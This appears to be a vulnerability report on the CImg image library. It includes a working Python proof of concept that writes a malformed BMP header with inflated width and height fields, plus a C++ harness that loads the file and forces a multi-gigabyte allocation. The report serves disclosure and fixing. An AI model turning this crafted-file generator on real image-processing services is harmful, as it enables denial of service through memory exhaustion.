Via a maliciously crafted bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.
This does affect the newest Version of Cimg which is 3.10, commit 607aea7c89fd66470e58a77b126584132d9af8f8 as the time of writing.
Due to the fact that I cannot attach files in this format, here is a small python script that will generate a bmp file with given dimmensions. Note that the final buffer size is calculated by multiplying the product of width and height by 3. This code snippet uses a sample value of 5 GB.
import struct
def write_size(dx,dy):
x = struct.pack('I',dx)
y = struct.pack('I',dy)
min_bmp_head = list(
b'BM\xf2Y\x03\x00\x00\x00\x00\x006\x04\x00\x00(\x00\x00\x00 \
V\xa8\xab1\x02\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00 \
\xbcU\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00 \
\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x03\x03'
)
min_bmp_head[0x12] = x[0]
min_bmp_head[0x13] = x[1]
min_bmp_head[0x14] = x[2]
min_bmp_head[0x15] = x[3]
min_bmp_head[0x16] = y[0]
min_bmp_head[0x17] = y[1]
min_bmp_head[0x18] = y[2]
min_bmp_head[0x19] = y[3]
open('crash.bmp','wb').write(bytes(min_bmp_head))
write_size(833333334,2) # use these two parameters to control dx and dy of the image. 833333334,2 for 5 GB
then read the file via standard methods:
#define cimg_display 0
#include "CImg.h"
#include <iostream>
int main(int argc,const char* argv[]){
if (argc < 2){
printf("no img\n");
exit(1);
}
cimg_library::CImg<unsigned char> img;
img.assign(argv[1]);
}
altough safe_size (line 11771) does check for overflows of the size_t type, it does allow very large values . One would think that the try/catch block try { _data = new T[siz]; }
(line 11885) does not allow for allocations that are too big and would completely circumvent this attack but actually, allocations that are equal to the maximum available RAM of a system or even numbers that are a bit higher (I tested the 5 GB case on a 4GB RAM machine) will not thorw an exception like std::bad_alloc.
This vulnerability allows an attacker who can send images to an application to force an premature process exit and exhaust system memory, potentially leading to a full system denial of service.